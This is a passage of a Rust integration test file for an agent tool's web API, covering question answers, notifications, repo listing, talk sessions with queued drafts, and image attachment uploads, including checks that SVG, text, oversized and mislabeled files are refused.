5909 abandoned.abandon("timed out");
5910 store.put(&mut abandoned).expect("put");
5911 let res = fx
5912 .post(
5913 &format!("/api/questions/{abandoned_id}/say"),
5914 Some(r#"{"body":"still there?"}"#),
5915 )
5916 .await;
5917 assert_eq!(res.status, 409, "{}", res.body);
5918 }
5919
5920 #[tokio::test]
5921 async fn an_answer_the_question_does_not_offer_is_refused() {
5922 let fx = Fixture::start().await;
5923 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5924 let path = format!("/api/questions/{id}/answer");
5925
5926 for body in [
5927 r#"{"choice":"Postgres"}"#,
5928 r#"{"text":"whatever you think"}"#,
5929 r#"{"choice":"Redis","text":"both"}"#,
5930 r#"{}"#,
5931 ] {
5932 let res = fx.post(&path, Some(body)).await;
5933 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5934 assert!(res.json()["error"].is_string(), "{}", res.body);
5935 }
5936 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5938 }
5939
5940 #[tokio::test]
5941 async fn a_free_text_question_takes_text_and_not_a_choice() {
5942 let fx = Fixture::start().await;
5943 let id = ask(&fx, "What should the flag be called?", &[]);
5944 let path = format!("/api/questions/{id}/answer");
5945
5946 assert_eq!(
5947 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5948 400
5949 );
5950 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5951 assert_eq!(res.status, 200, "{}", res.body);
5952 assert_eq!(res.json()["answer"]["text"], "--json");
5953 }
5954
5955 #[tokio::test]
5956 async fn an_unknown_question_is_a_json_404() {
5957 let fx = Fixture::start().await;
5958 let res = fx
5959 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5960 .await;
5961 assert_eq!(res.status, 404, "{}", res.body);
5962 assert!(res.json()["error"].is_string());
5963 }
5964
5965 #[tokio::test]
5966 async fn notifications_list_read_dismiss_and_health_agree() {
5967 let fx = Fixture::start().await;
5968 let store = Notices::at(fx.home.path().join("notifications"));
5969 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5970 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5971
5972 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5973 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5974
5975 let health = fx.get("/api/health").await.json();
5976 assert_eq!(health["notifications_unread"], 2);
5977 assert_ne!(
5978 health["notifications_rev"], rev0,
5979 "the badge must move live"
5980 );
5981
5982 let listed = fx.get("/api/notifications").await.json();
5983 assert_eq!(listed["unread"], 2);
5984 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5985 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5986
5987 let read = fx
5988 .post(&format!("/api/notifications/{}/read", a.id), None)
5989 .await;
5990 assert_eq!(read.status, 200, "{}", read.body);
5991 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5992
5993 let gone = fx
5994 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5995 .await;
5996 assert_eq!(gone.status, 200, "{}", gone.body);
5997 let listed = fx.get("/api/notifications").await.json();
5998 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5999 assert_eq!(listed["unread"], 0);
6000
6001 store.raise(Notice::info("x", "again")).unwrap();
6002 let all = fx.post("/api/notifications/read-all", None).await;
6003 assert_eq!(all.status, 200, "{}", all.body);
6004 assert_eq!(all.json()["marked"], 1);
6005 assert_eq!(
6006 fx.get("/api/health").await.json()["notifications_unread"],
6007 0
6008 );
6009
6010 let missing = fx.post("/api/notifications/nope/read", None).await;
6011 assert_eq!(missing.status, 404, "{}", missing.body);
6012 assert!(missing.json()["error"].is_string());
6013 }
6014
6015 #[tokio::test]
6022 async fn a_task_cannot_be_filed_over_the_phone_directly() {
6023 let f = Fixture::start().await;
6024
6025 let res = f
6026 .post(
6027 "/api/queue",
6028 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6029 )
6030 .await;
6031
6032 assert_eq!(
6033 res.status, 405,
6034 "POST /api/queue must not be a route: {}",
6035 res.body
6036 );
6037 assert!(
6038 f.queue().list().is_empty(),
6039 "a task filed by a route that does not exist must not reach the disk"
6040 );
6041 assert_eq!(f.get("/api/queue").await.status, 200);
6044 }
6045
6046 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6048 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6049 .expect("checkout dir");
6050 }
6051
6052 #[tokio::test]
6053 async fn repos_list_returns_name_and_path_for_every_configured_root() {
6054 let tmp = TempDir::new().expect("tempdir");
6055 let repo = tmp.path().join("repo");
6056 std::fs::create_dir_all(&repo).expect("repo dir");
6057 let root = tmp.path().join("root");
6058 make_checkout(&root, "github.com", "yukimemi", "magi");
6059 std::fs::write(
6060 repo.join("magi.toml"),
6061 format!(
6062 "[repos]\nroots = [{:?}]\n",
6063 root.to_string_lossy().into_owned()
6064 ),
6065 )
6066 .expect("write magi.toml");
6067
6068 let f = Fixture::with_repo(repo).await;
6069 let res = f.get("/api/repos").await;
6070 assert_eq!(res.status, 200, "{}", res.body);
6071 let list = res.json();
6072 let repos = list.as_array().expect("an array");
6073 assert_eq!(repos.len(), 1);
6074 assert_eq!(repos[0]["name"], "yukimemi/magi");
6075 assert!(
6076 repos[0]["path"]
6077 .as_str()
6078 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6079 "{list}"
6080 );
6081 }
6082
6083 #[tokio::test]
6084 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6085 let tmp = TempDir::new().expect("tempdir");
6086 let repo = tmp.path().join("repo");
6087 std::fs::create_dir_all(&repo).expect("repo dir");
6088 let root = tmp.path().join("root");
6089 make_checkout(&root, "github.com", "yukimemi", "magi");
6090 std::fs::write(
6091 repo.join("magi.toml"),
6092 format!(
6093 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6094 root.to_string_lossy().into_owned()
6095 ),
6096 )
6097 .expect("write magi.toml");
6098
6099 let f = Fixture::with_repo(repo).await;
6100 let first = f.get("/api/repos").await;
6101 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6102
6103 make_checkout(&root, "github.com", "yukimemi", "rvpm");
6106 let second = f.get("/api/repos").await;
6107 assert_eq!(
6108 second.json().as_array().map(Vec::len),
6109 Some(1),
6110 "a fresh cache must not rescan inside the TTL"
6111 );
6112
6113 let refreshed = f.get("/api/repos?refresh=1").await;
6114 assert_eq!(
6115 refreshed.json().as_array().map(Vec::len),
6116 Some(2),
6117 "an explicit refresh must rescan even inside the TTL"
6118 );
6119 }
6120
6121 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6127
6128 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6132 let tmp = TempDir::new().expect("tempdir");
6133 let repo = tmp.path().join("repo");
6134 std::fs::create_dir_all(&repo).expect("repo dir");
6135 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6136 let f = Fixture::with_repo(repo.clone()).await;
6137 (tmp, repo, f)
6138 }
6139
6140 #[tokio::test]
6141 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6142 let (_tmp, _repo, f) = talk_fixture().await;
6143
6144 let opened = f.post("/api/talks", None).await;
6147 assert_eq!(opened.status, 201, "{}", opened.body);
6148 let body = opened.json();
6149 assert_eq!(body["status"], "open");
6150 assert_eq!(
6151 body["turns"].as_array().unwrap().len(),
6152 0,
6153 "opening takes no agent turn: there is nothing yet to answer"
6154 );
6155
6156 let also_opened = f.post("/api/talks", Some("{}")).await;
6158 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6159
6160 let listed = f.get("/api/talks").await.json();
6161 assert_eq!(listed.as_array().unwrap().len(), 2);
6162 }
6163
6164 #[tokio::test]
6165 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6166 let f = Fixture::start().await;
6167 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6168 let queue = f.queue();
6169 let mut mine = Task::new(
6170 "rename the loader".to_owned(),
6171 "rename the loader".to_owned(),
6172 PathBuf::from("/repo/magi"),
6173 Source::Agent {
6174 run: talk_id.clone(),
6175 node: "chat".to_owned(),
6176 },
6177 );
6178 queue.put(&mut mine).expect("file the task");
6179 let mut theirs = Task::new(
6180 "unrelated".to_owned(),
6181 "unrelated".to_owned(),
6182 PathBuf::from("/repo/magi"),
6183 Source::Human,
6184 );
6185 queue.put(&mut theirs).expect("file the task");
6186
6187 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6188 assert_eq!(res.status, 200, "{}", res.body);
6189 let body = res.json();
6190 assert_eq!(
6191 body["status"], "open",
6192 "filing a task does not close a talk"
6193 );
6194 let tasks = body["tasks"].as_array().expect("tasks array");
6195 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6196 assert_eq!(tasks[0]["id"], mine.id);
6197 }
6198
6199 #[tokio::test]
6200 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6201 let (_tmp, _repo, f) = talk_fixture().await;
6202 let id = f.post("/api/talks", None).await.json()["id"]
6203 .as_str()
6204 .expect("id")
6205 .to_owned();
6206
6207 let res = f
6208 .post(
6209 &format!("/api/talks/{id}/say"),
6210 Some(r#"{"text":"what does the queue module do?"}"#),
6211 )
6212 .await;
6213 assert_eq!(res.status, 202, "{}", res.body);
6214 let queued = res.json();
6215 let turns = queued["turns"].as_array().expect("turns array");
6216 assert_eq!(
6217 turns.len(),
6218 1,
6219 "the answer reflects only what is on disk the instant it is sent, \
6220 before the agent's turn - which can run for the whole of \
6221 `[graph] timeout_talk` - has a chance to land: {queued}"
6222 );
6223 assert_eq!(turns[0]["who"], "operator");
6224 assert_eq!(turns[0]["body"], "what does the queue module do?");
6225 assert_eq!(
6226 queued["thinking"], true,
6227 "the accepted response exposes the background turn claim: {queued}"
6228 );
6229
6230 let mut turns_after = 1;
6231 for _ in 0..SETTLE_STEPS {
6232 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6233 turns_after = detail["turns"].as_array().expect("turns array").len();
6234 if turns_after == 2 {
6235 break;
6236 }
6237 tokio::time::sleep(Duration::from_millis(10)).await;
6238 }
6239 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6240 }
6241
6242 #[tokio::test]
6269 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6270 let tmp = TempDir::new().expect("tempdir");
6271 let repo = tmp.path().join("repo");
6272 std::fs::create_dir_all(&repo).expect("repo dir");
6273 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6274 let home = TempDir::new().expect("temp home");
6275 let talks = Talks::at(home.path().join("talks"));
6276 let ui = Arc::new(
6277 Ui::new(
6278 Queue::at(home.path().join("queue")),
6279 Questions::at(home.path().join("questions")),
6280 talks.clone(),
6281 home.path().join("runs"),
6282 home.path().to_path_buf(),
6283 repo.clone(),
6284 )
6285 .with_worktrees_root(home.path().join("wt")),
6286 );
6287 let cfg = config_for(&repo).await.expect("discover config");
6288
6289 for delay in 0..40u32 {
6290 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6291 let id = talk.id.clone();
6292
6293 let handler = tokio::spawn(talk_say(
6294 State(Arc::clone(&ui)),
6295 Path(id.clone()),
6296 Ok(Json(NewTalkTurn {
6297 text: "what does the queue module do?".to_owned(),
6298 attachments: Vec::new(),
6299 })),
6300 ));
6301 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6302 handler.abort();
6303 let _ = handler.await;
6306
6307 let mut turns = 0;
6308 for _ in 0..SETTLE_STEPS {
6309 if let Ok(fresh) = talks.get(&id) {
6310 turns = fresh.turns.len();
6311 if turns != 1 {
6312 break;
6313 }
6314 }
6315 tokio::time::sleep(Duration::from_millis(10)).await;
6316 }
6317 assert_ne!(
6318 turns, 1,
6319 "delay {delay}: talk {id} recorded the operator's turn but \
6320 the agent never answered - the reply task was never \
6321 started after the handler future was dropped"
6322 );
6323 }
6324 }
6325
6326 #[tokio::test]
6371 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6372 let tmp = TempDir::new().expect("tempdir");
6373 let repo = tmp.path().join("repo");
6374 std::fs::create_dir_all(&repo).expect("repo dir");
6375 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6376 let home = TempDir::new().expect("temp home");
6377 let talks = Talks::at(home.path().join("talks"));
6378 let ui = Arc::new(
6379 Ui::new(
6380 Queue::at(home.path().join("queue")),
6381 Questions::at(home.path().join("questions")),
6382 talks.clone(),
6383 home.path().join("runs"),
6384 home.path().to_path_buf(),
6385 repo.clone(),
6386 )
6387 .with_worktrees_root(home.path().join("wt")),
6388 );
6389 let cfg = config_for(&repo).await.expect("discover config");
6390
6391 for attempt in 0..3u32 {
6392 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6393 let id = talk.id.clone();
6394 let turn_guard = ui
6397 .begin_talk_turn(&id)
6398 .expect("claim the turn")
6399 .expect("a fresh talk owes nobody a turn");
6400
6401 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6402 let (release_tx, release_rx) = std::sync::mpsc::channel();
6403 ui.set_busy_queue_gate(BusyQueueGate {
6404 reached: reached_tx,
6405 release: release_rx,
6406 });
6407
6408 let handler = tokio::spawn(talk_say(
6409 State(Arc::clone(&ui)),
6410 Path(id.clone()),
6411 Ok(Json(NewTalkTurn {
6412 text: "what does the queue module do?".to_owned(),
6413 attachments: Vec::new(),
6414 })),
6415 ));
6416
6417 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6422 .await
6423 .unwrap_or_else(|_| {
6424 panic!(
6425 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6426 )
6427 })
6428 .expect("the busy branch dropped the gate without using it");
6429
6430 let running = talks.get(&id).expect("reload talk");
6437 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6438
6439 handler.abort();
6443 let _ = handler.await;
6444
6445 let _ = release_tx.send(());
6451
6452 let mut fresh = talks.get(&id).expect("reload talk");
6455 for _ in 0..SETTLE_STEPS {
6456 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6457 break;
6458 }
6459 tokio::time::sleep(Duration::from_millis(10)).await;
6460 fresh = talks.get(&id).expect("reload talk");
6461 }
6462 assert!(
6463 fresh.pending.is_empty() && fresh.turns.len() == 2,
6464 "attempt {attempt}: talk {id} left the operator's text queued \
6465 with no drainer - the reclaimed turn was dropped along with \
6466 the handler future (pending {:?}, {} turns)",
6467 fresh.pending,
6468 fresh.turns.len()
6469 );
6470 }
6471 }
6472
6473 #[tokio::test]
6474 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6475 let (_tmp, _repo, f) = talk_fixture().await;
6476 let id = f.post("/api/talks", None).await.json()["id"]
6477 .as_str()
6478 .expect("id")
6479 .to_owned();
6480 let store = f.talks();
6481 let mut recovered = store.get(&id).expect("opened talk");
6482 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6483 .expect("persist pending draft without a live turn");
6484
6485 let edited = f
6486 .post(
6487 &format!("/api/talks/{id}/pending/edit"),
6488 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6489 )
6490 .await;
6491 assert_eq!(edited.status, 200, "{}", edited.body);
6492 assert!(edited.json()["thinking"].as_bool().unwrap());
6493
6494 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6495 for _ in 0..SETTLE_STEPS {
6496 if detail["turns"].as_array().expect("turns").len() == 2 {
6497 break;
6498 }
6499 tokio::time::sleep(Duration::from_millis(10)).await;
6500 detail = f.get(&format!("/api/talks/{id}")).await.json();
6501 }
6502 let turns = detail["turns"].as_array().expect("turns");
6503 assert_eq!(
6504 turns.len(),
6505 2,
6506 "the recovered draft must run once: {detail}"
6507 );
6508 assert_eq!(turns[0]["body"], "corrected");
6509 assert_eq!(detail["pending"], "");
6510 }
6511
6512 #[tokio::test]
6513 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6514 let tmp = TempDir::new().expect("tempdir");
6515 let repo = tmp.path().join("repo");
6516 std::fs::create_dir_all(&repo).expect("repo dir");
6517 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6518 let f = Fixture::with_repo(repo).await;
6519 let id = f.post("/api/talks", None).await.json()["id"]
6520 .as_str()
6521 .expect("id")
6522 .to_owned();
6523 let store = f.talks();
6524 let mut recovered = store.get(&id).expect("opened talk");
6525 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6526 .expect("persist pending draft without a live turn");
6527
6528 let refused = f
6529 .post(
6530 &format!("/api/talks/{id}/say"),
6531 Some(r#"{"text":"new message"}"#),
6532 )
6533 .await;
6534 assert_eq!(refused.status, 409, "{}", refused.body);
6535 assert!(refused.body.contains("resume"), "{}", refused.body);
6536 let saved = store.get(&id).expect("draft remains after refusal");
6537 assert!(saved.turns.is_empty());
6538 assert_eq!(saved.pending, "saved before restart");
6539
6540 let say_path = format!("/api/talks/{id}/say");
6541 let (first, second) = tokio::join!(
6542 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6543 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6544 );
6545 assert_eq!(first.status, 409, "{}", first.body);
6546 assert_eq!(second.status, 409, "{}", second.body);
6547 let saved = store
6548 .get(&id)
6549 .expect("draft remains after concurrent refusals");
6550 assert!(saved.turns.is_empty());
6551 assert_eq!(saved.pending, "saved before restart");
6552
6553 let resumed = f
6554 .post(&format!("/api/talks/{id}/pending/resume"), None)
6555 .await;
6556 assert_eq!(resumed.status, 202, "{}", resumed.body);
6557 let duplicate = f
6558 .post(&format!("/api/talks/{id}/pending/resume"), None)
6559 .await;
6560 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6561
6562 for _ in 0..SETTLE_STEPS {
6563 if store.get(&id).expect("talk").turns.len() == 2 {
6564 break;
6565 }
6566 tokio::time::sleep(Duration::from_millis(10)).await;
6567 }
6568 let finished = store.get(&id).expect("finished talk");
6569 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6570 assert_eq!(finished.turns[0].body, "saved before restart");
6571 assert!(finished.pending.is_empty());
6572 }
6573
6574 #[tokio::test]
6575 async fn an_image_only_recovered_draft_resumes_without_text() {
6576 let (_tmp, _repo, f) = talk_fixture().await;
6577 let id = f.post("/api/talks", None).await.json()["id"]
6578 .as_str()
6579 .expect("id")
6580 .to_owned();
6581 let uploaded = f
6582 .post_bytes(
6583 &format!("/api/talks/{id}/attachments"),
6584 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6585 PNG_BYTES,
6586 )
6587 .await;
6588 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6589 let attachment = f
6590 .talks()
6591 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6592 .expect("attachment metadata")
6593 .expect("stored attachment");
6594 let store = f.talks();
6595 let mut recovered = store.get(&id).expect("opened talk");
6596 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6597
6598 let resumed = f
6599 .post(&format!("/api/talks/{id}/pending/resume"), None)
6600 .await;
6601 assert_eq!(resumed.status, 202, "{}", resumed.body);
6602 for _ in 0..SETTLE_STEPS {
6603 if store.get(&id).expect("talk").turns.len() == 2 {
6604 break;
6605 }
6606 tokio::time::sleep(Duration::from_millis(10)).await;
6607 }
6608 let finished = store.get(&id).expect("finished talk");
6609 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6610 assert!(finished.turns[0].body.is_empty());
6611 assert_eq!(finished.turns[0].attachments.len(), 1);
6612 assert!(finished.pending_attachments.is_empty());
6613 }
6614
6615 #[tokio::test]
6616 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6617 let (_tmp, _repo, f) = talk_fixture().await;
6618 let id = f.post("/api/talks", None).await.json()["id"]
6619 .as_str()
6620 .expect("id")
6621 .to_owned();
6622 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6623 assert_eq!(closed.status, 200, "{}", closed.body);
6624 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6625 .expect("serialize closed talk");
6626 for (path, body) in [
6627 (format!("/api/talks/{id}/pending/resume"), None),
6628 (
6629 format!("/api/talks/{id}/pending/clear"),
6630 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6631 ),
6632 (
6633 format!("/api/talks/{id}/pending/edit"),
6634 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6635 ),
6636 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6637 ] {
6638 let response = f.post(&path, body).await;
6639 assert_eq!(response.status, 409, "{}", response.body);
6640 }
6641 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6642 .expect("serialize closed talk");
6643 assert_eq!(
6644 after_clear, before_clear,
6645 "clear must not rewrite a closed talk"
6646 );
6647 }
6648
6649 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6652
6653 #[tokio::test]
6654 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6655 let tmp = TempDir::new().expect("tempdir");
6656 let repo = tmp.path().join("repo");
6657 std::fs::create_dir_all(&repo).expect("repo dir");
6658 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6659 let f = Fixture::with_repo(repo).await;
6660 let id_a = f.post("/api/talks", None).await.json()["id"]
6661 .as_str()
6662 .unwrap()
6663 .to_owned();
6664 let id_b = f.post("/api/talks", None).await.json()["id"]
6665 .as_str()
6666 .unwrap()
6667 .to_owned();
6668
6669 let a = f
6670 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6671 .await;
6672 assert_eq!(a.status, 202, "{}", a.body);
6673 assert_eq!(a.json()["thinking"], true);
6674 let b = f
6675 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6676 .await;
6677 assert_eq!(b.status, 202, "{}", b.body);
6678 assert_eq!(b.json()["thinking"], true);
6679
6680 let listed = f.get("/api/talks").await.json();
6681 for id in [&id_a, &id_b] {
6682 let view = listed
6683 .as_array()
6684 .unwrap()
6685 .iter()
6686 .find(|talk| talk["id"] == *id)
6687 .unwrap();
6688 assert_eq!(view["thinking"], true, "{listed}");
6689 }
6690 let repeated = f
6691 .post(
6692 &format!("/api/talks/{id_a}/say"),
6693 Some(r#"{"text":"again"}"#),
6694 )
6695 .await;
6696 assert_eq!(repeated.status, 202, "{}", repeated.body);
6697 assert_eq!(repeated.json()["pending"], "again");
6698 }
6699
6700 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6703
6704 #[tokio::test]
6705 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6706 let f = Fixture::start().await;
6707 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6708
6709 let res = f
6710 .post_bytes(
6711 &format!("/api/talks/{id}/attachments"),
6712 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6713 PNG_BYTES,
6714 )
6715 .await;
6716 assert_eq!(res.status, 201, "{}", res.body);
6717 let body = res.json();
6718 assert_eq!(body["name"], "shot.png");
6719 assert_eq!(body["mime"], "image/png");
6720 assert_eq!(body["bytes"], PNG_BYTES.len());
6721 let att_id = body["id"].as_str().expect("id").to_owned();
6722 assert_eq!(
6723 att_id.len(),
6724 32,
6725 "the id must never be a client-suppliable path: {att_id}"
6726 );
6727
6728 let got = f
6729 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6730 .await;
6731 assert_eq!(got.status, 200, "{}", got.body);
6732 assert_eq!(got.header("content-type"), Some("image/png"));
6733 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6734 assert_eq!(got.bytes, PNG_BYTES);
6735 }
6736
6737 #[tokio::test]
6738 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6739 let f = Fixture::start().await;
6740 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6741
6742 let svg = f
6745 .post_bytes(
6746 &format!("/api/talks/{id}/attachments"),
6747 &[("Content-Type", "image/svg+xml")],
6748 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6749 )
6750 .await;
6751 assert!(
6752 (400..500).contains(&svg.status),
6753 "svg must be refused: {} {}",
6754 svg.status,
6755 svg.body
6756 );
6757 assert!(svg.body.contains("SVG"), "{}", svg.body);
6758
6759 let text = f
6760 .post_bytes(
6761 &format!("/api/talks/{id}/attachments"),
6762 &[("Content-Type", "text/plain")],
6763 b"just some text",
6764 )
6765 .await;
6766 assert!(
6767 (400..500).contains(&text.status),
6768 "an unlisted type must be refused: {} {}",
6769 text.status,
6770 text.body
6771 );
6772
6773 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6776 let big = f
6777 .post_bytes(
6778 &format!("/api/talks/{id}/attachments"),
6779 &[("Content-Type", "image/png")],
6780 &oversized,
6781 )
6782 .await;
6783 assert_eq!(
6784 big.status,
6785 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6786 "{}",
6787 big.body
6788 );
6789 }
6790
6791 #[tokio::test]
6792 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6793 let f = Fixture::start().await;
6794 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6795
6796 let res = f
6799 .post_bytes(
6800 &format!("/api/talks/{id}/attachments"),
6801 &[("Content-Type", "image/png")],
6802 b"<html>not a picture</html>",
6803 )
6804 .await;
6805 assert!((400..500).contains(&res.status), "{}", res.body);
6806 }
6807
6808 #[tokio::test]
6809 async fn an_unknown_attachment_id_is_a_404() {
6810 let f = Fixture::start().await;
6811 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6812
6813 let res = f
6814 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6815 .await;
6816 assert_eq!(res.status, 404, "{}", res.body);
6817 }
6818
6819 #[tokio::test]
6820 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6821 let f = Fixture::start().await;
6822 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6823
6824 let uploaded = f
6825 .post_bytes(
6826 &format!("/api/talks/{id}/attachments"),
6827 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6828 PNG_BYTES,
6829 )
6830 .await;
6831 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6832 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6833
6834 let res = f
6835 .post(
6836 &format!("/api/talks/{id}/say"),
6837 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6838 )
6839 .await;
6840 assert_eq!(res.status, 202, "{}", res.body);
6841 let queued = res.json();
6842 let turns = queued["turns"].as_array().expect("turns array");
6843 assert_eq!(
6844 turns.len(),
6845 1,
6846 "an empty body with an attachment is still a turn: {queued}"
6847 );
6848 assert_eq!(turns[0]["who"], "operator");
6849 assert_eq!(turns[0]["body"], "");
6850 let atts = turns[0]["attachments"]
6851 .as_array()
6852 .expect("attachments array");
6853 assert_eq!(atts.len(), 1);
6854 assert_eq!(atts[0]["id"], att_id);
6855 assert_eq!(atts[0]["mime"], "image/png");
6856
6857 let on_disk = f.talks().get(&id).expect("get");
6860 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6861 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6862 }
6863
6864 #[tokio::test]
6865 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6866 let f = Fixture::start().await;
6867 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6868
6869 let res = f
6870 .post(
6871 &format!("/api/talks/{id}/say"),
6872 Some(&format!(
6873 r#"{{"text":"hi","attachments":["{}"]}}"#,
6874 "a".repeat(32)
6875 )),
6876 )
6877 .await;
6878 assert!((400..500).contains(&res.status), "{}", res.body);
6879 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6880
6881 let on_disk = f.talks().get(&id).expect("get");
6882 assert!(
6883 on_disk.turns.is_empty(),
6884 "a rejected attachment id must not partially record the turn: {:?}",
6885 on_disk.turns
6886 );
6887 }
6888
6889 #[tokio::test]
6890 async fn talk_close_makes_the_talk_refuse_further_turns() {
6891 let f = Fixture::start().await;
6892 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6893
6894 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6895 assert_eq!(closed.status, 200, "{}", closed.body);
6896 assert_eq!(closed.json()["status"], "closed");
6897
6898 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6900 assert_eq!(closed_again.status, 200);
6901 assert_eq!(closed_again.json()["status"], "closed");
6902
6903 let said = f
6904 .post(
6905 &format!("/api/talks/{id}/say"),
6906 Some(r#"{"text":"too late"}"#),
6907 )
6908 .await;
6909 assert_eq!(said.status, 409, "{}", said.body);
6910 }
6911
6912 #[tokio::test]
6913 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6914 let (_tmp, _repo, f) = talk_fixture().await;
6915 let id = f.post("/api/talks", None).await.json()["id"]
6916 .as_str()
6917 .expect("id")
6918 .to_owned();
6919 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6920 assert_eq!(closed.status, 200, "{}", closed.body);
6921
6922 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
